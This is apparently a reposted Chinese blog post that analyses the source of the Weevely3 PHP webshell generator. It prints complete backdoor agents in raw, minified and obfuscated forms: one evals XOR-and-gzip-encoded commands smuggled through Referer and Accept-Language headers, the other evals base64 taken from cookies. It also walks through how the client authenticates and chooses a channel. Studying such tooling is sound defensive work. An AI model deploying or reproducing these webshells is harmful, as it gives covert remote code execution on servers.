Weevely使用及源码分析(三)

2017-01-13 19:11:31来源:CSDN作者:yaofeiNO1人点击

第七城市

1 weevely验证机制分析

1.1 源码分析

   当生成的php文件是以stegaref_php.tpl文件为模板时,当我们在连接时的命令行中输入任意命运就可以触发php.py文件中的_check_interpreter()函数,_check_interpreter()函数主要功能是随机生成一个命令,”echo”一个从11111到99999大小的随机整数,然后分别调用channels文件夹下的channel.py文件中的”send()”函数,然后在send()函数中把payload分别发送给legacycookie.py,legacyreferrer.py和stegaref.py三个Python文件中的”send()”函数同时返回Response,code,error的值, response, code, error = channel.send(command),通过对返回的Response和构造的echo的随机数是否相等来进行判断PHP shell能否直接运行,同时判断连接是否成功。

1.2 PHP(stegaref_php.tpl模板)后门文件分析

   首先,当我们使用命令:weevely generate hello /var/www/html/testformd.php来生成木马文件时,会调用generate()函数来生成木马。

  1. generate()函数在weevely3-master/core/generate.py文件中,函数原型为: def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):其中,password为用户指定的密码, obfuscator是使用的webshell模糊变换模板,agent为webshell的模板,后两个参数均可自己定义,用户可以自己编写自定义的模板放入weevely3-master/bd/obfuscator/和weevely3-master/bd/agent/目录下,然后命令中指定自定义的模板。
  2. agent = Template(open(agent_path,'r').read()).render(password=password)render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来,生成的源码为:
    kh=5d41;kf=”402a”;

    function x($t,$k){    $c=strlen($k);    $l=strlen($t);    $o="";    for($i=0;$i<$l;){        for($j=0;($j<$c&&$i<$l);$j++,$i++)        {            $o.=$t{$i}^$k{$j};        }    }    return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){    $u=parse_url($rr);    parse_str($u["query"],$q);    $q=array_values($q);    preg_match_all("/([/w])[/w-]+(?:;q=0.([/d]))?,?/",$ra,$m);    if($q&&$m){        @session_start();        $s=&$_SESSION;        $ss="substr";        $sl="strtolower";        $i=$m[1][0].$m[1][1];        $h=$sl($ss(md5($i.$kh),0,3));        $f=$sl($ss(md5($i.$kf),0,3));        $p="";        for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];        if(strpos($p,$h)===0){            $s[$i]="";            $p=$ss($p,3);        }        if(array_key_exists($i,$s)){            $s[$i].=$p;            $e=strpos($s[$i],$f);            if($e){                $k=$kh.$kf;                ob_start();                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));                $o=ob_get_contents();                ob_end_clean();                $d=base64_encode(x(gzcompress($o),$k));                print("<$k>$d</$k>");                @session_destroy();            }        }    }}
  3. minified_agent = utils.code.minify_php(agent)对原始的webshell进行”净化”操作,去除里面”/n/t”等特殊字符。处理完的源码为:

    $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([/w])[/w-]+(?:;q=0.([/d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
  4. obfuscated = obfuscator_template.render(agent=agent)这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。模糊处理完的文件源码为:

    <?php$s='d5($R$i.$$Rkh),0,3));$R$f=$sl$R($ss(m$Rd5$R($i.$kf),0,3$R));$p$R$R="";for($R$z=1;$R$z<count($R$m[1]);$z$R++)$p.=$R$q[$m[$R';$H='$Rses$Rsion_st$Rart();$s=&$_SES$RSION;$ss="$Rsub$Rs$Rtr";$sl="str$Rtolower$R";$i$R=$m[1$R][0]$R.$m[1][1];$R$h=$R$sl($ss($Rm';$u='g_replac$Re(arr$Ray$R("/_/","/$R-/"),arr$Ray$R("/","+"$R),$$Rss($s[$i],0$R,$e)$R))$R,$k)));$$Ro=ob_$Rget_$Rcontents($R);ob_';$V='$kh="$R5d41";$R$kf="402$Ra$R$R";function x($t,$$Rk){$c=st$Rr$Rlen($k);$l=st$Rrlen$R($t)$R;$o="";for$R($$Ri=0;$i<$$Rl;){$Rfor';$E=';$R$q=a$Rrray_valu$Res($q);$Rpr$Reg_match$R_all("/($R[//w])[$R//w-]+(?:;$Rq=0$R.([//d$R]))?$R,?/",$ra$R,$m);if($$Rq$R&&$m)$R{@';		$c='($j=$R0;($j<$R$c&&$R$$Ri<$R$l);$j++$R,$$Ri++){$o.=$t{$i$R}^$k{$j}$R;}}return$R $R$o$R;}$r=$_SERVER;$$Rrr=@$r[$R"HT$RTP_REFER';$F='R$$Re=$Rstr$Rpos($s[$i],$f);if($R$e){$k=$k$Rh$R.$kf;ob_$Rsta$Rrt()$R;@ev$Ral(@gzuncom$Rpress(@x($R@bas$Re64_$Rdecode(pr$Re';$P='$RER"];$$Rra=@$r["H$RTTP_AC$RCE$RPT_LA$RNGUAGE$R"];if($r$Rr&&$ra){$R$u=pars$Re$R_ur$Rl($rr);par$Rs$Re_str($$Ru["query"]$R,$q)';		$R='end_c$Rlean$R();$d=$Rbase$R64_en$Rcode(x(gzc$Rompress$R$R($o)$R,$k));pri$Rnt($R"<$R$$Rk>$R$d</$k>");@sessi$Ron_destroy();}}}}';		$f='2][$R$z$R]];if(s$Rtrpos($p$R,$R$h)===0){$s[$i$R]="";$$Rp=$R$ss($p,3)$R;}if(arr$R$Ray_$Rkey_exists($i,$R$s$R)){$s[$i$R].=$p;$';$U=str_replace('iV','','creiViVaiViVte_funciVtiiVon');$X=str_replace('$R','',$V.$c.$P.$E.$H.$s.$f.$F.$u.$R);$O=$U('',$X);$O();?>
  5. 通过对最具有格式且没有经过模糊处理的php文件进行源码走读,可以看出,文件中存在”kh=5d41""kf=402a”这两个参数,这两个参数就是我们生成文件时的定义的密码经过md5加密后的前8位,分在两个参数中存储。 $r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];从server中去取http协议请求头中的REFERER数据和ACCEPT_LANGUAGE数据,然后通过正则表达式 preg_match_all("/([/w])[/w-]+(?:;q=0.([/d]))?,?/",$ra,$m);去匹配ACCEPT_LANGUAGE中的数组偏移量。 $h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));来求出真正有用的payload的header和footer。
    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));**</code>这个函数是用来解密payload,得到真正攻击的载荷命令。<br><code> **$d=base64_encode(x(gzcompress($o),$k));把执行结果通过相同的方式进行加密,放在自己密码加密后的标签中 print("<$k>$d

1.3 PHP(legacycookie_php.tpl模板)后门文件分析

   weevely3中默认生成的文件是以stegaref_php.tpl为模板和以obfusc1_php.tpl为混淆模板来进行后门文件生成。可以在weevely.py文件中对这两个参数进行修改换成以legacycookie_php.tpl为模板和cleartext1_php.tpl为混淆模板生成配合php文件。
直接对源代码进行跟踪调试
1. agent = Template(open(agent_path,'r').read()).render(password=password)render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来初始php代码为:

    u'$c="count";    $a=$_COOKIE;    if(reset($a)=="he" && $c($a)>3){    $k="llo";    echo "<$k>";    eval(base64_decode(preg_replace(array("/[^//w=//s]/","///s/"), array("","+"), join(array_slice($a,$c($a)-3)))));    echo "</$k>";    }    '

 2. minified_agent = utils.code.minify_php(agent)对原始的webshell进行”净化”操作,去除里面”/n/t”等特殊字符。处理完的源码代码为:

    '$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^//w=//s]/","///s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"</$k>";}'

 3. obfuscated = obfuscator_template.render(agent=agent)这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。生成的源码为

    u'<?php    $c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^//w=//s]/","///s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"</$k>";}    ?>'

 4.通过对php源代码的走读可以看出legacycookie_php.tpl模板执行结果放在”<k></k>”标签中,标签中执行结果通过正则表达式匹配,然后进行base64解码获得。

1.4 验证连接是否成功

  1. 通过_check_interpreter()函数构造随机打印字符的payload,调用channel.py文件中的send()函数中代码response = self.channel_loaded.send(
    payload,
    self._additional_handlers()
    )
    向三种payload加密方式中分别发送payload。依次执行查看响应的Response_body的值是否与构造payload想打印的值相等来进行判断连接是否成功。
  2. 第一次payload发送到stegaref.py的send()函数中,payload经过用户输入的连接密码进行加密,构造request请求头发送http协议,执行php后门文件,通过php文件中生成文件的密码进行解密执行payload,得到相应Response。response = opener.open(url).read()得到响应体的值。判断:
    1. 响应体为空,说明连接密码生成的payload和真实密码解密的payload不一致,验证失败。
    2. 响应体不为空,验证成功。
  3. 若第一次验证失败,进行第二次验证,payload会发送到legacycookie.py的send()函数中,第二种payload的加密方式主要为base64编码加密然后在加密后的payload中加入特殊字符进行混淆。所以第二种加密方式不需要php文件中的密码进行解密,payload在php文件中进行base64解压缩执行,执行结果在Response_body中用密码第三位至末尾字符串标签进行包装。通过相同代码response = opener.open(url).read()获得响应体。判断:
    1. 如果响应体为空,说明php文件没有执行,所以可能为连接url错误。
    2. 响应体不为空,通过正则表达式self.extractor = re.compile("<%s>(.*)</%s>" % (self.password[2:],self.password[2:]),re.DOTALL)和代码data = self.extractor.findall(response)进行匹配密码第三位至末尾和响应体中的标签是否一致,如果一致的话则连接密码正确验证成功,如果不一致说明连接密码错误验证不成功。
  4. 前两次均失败则调用第三种payload加密方式,向legacyreferrer.py文件中的send()函数发送payload,第三种payload加密方式为构造referer头referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % (self.password[:2],urllib2.quote(self.url),self.query.strip(),payload[:third],payload[ third:thirds],payload[thirds:])但是payload的加密方式依然为base64编码加密,所以密码正确与否的验证机制和第二种相同。
第七城市

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台